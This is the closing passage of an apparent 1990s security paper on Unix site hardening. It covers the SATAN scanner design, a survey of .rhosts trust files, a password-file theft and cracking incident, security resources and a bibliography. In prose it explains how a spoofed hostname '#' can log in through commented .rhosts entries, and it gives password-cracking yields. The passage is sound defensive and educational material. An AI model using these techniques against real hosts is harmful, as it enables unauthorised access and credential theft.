SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format.

The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet.

Appendix B:

An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts.

Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.)

You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like.

Appendix C:

After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed.

Appendix D:

How to get some free security resources on the Internet

Mailing lists:

- The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list.

- The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list.

- The Firewalls mailing list. Send the following line to majordomo@greatcircle.com:

  ```
  subscribe firewalls
  ```

- Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.

Free Software:

COPS (Computer Oracle and Password System) is available via anonymous ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.

The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security.

Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.

TAMU is a UNIX auditing tool that is part of a larger suite of excellent tools put out by a group at the Texas A&M University. They can be gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources.

Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib.

The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail.

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

Bibliography:

Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987.

Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished).

Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990.

Shimomura, Tsutomu, private communication.

Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.

Suggested reading:

Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", Computer Communication Review

19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989.

Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly and Associates, Inc., 1992.

Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol Study: Network Information Service", Computer Communication Review 22 (5) 1992.

Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27.

Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993.

Schuba, Christoph, "Addressing Weaknesses in the Domain Name System Protocal", Purdue University, August 1993.

Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8), 1984.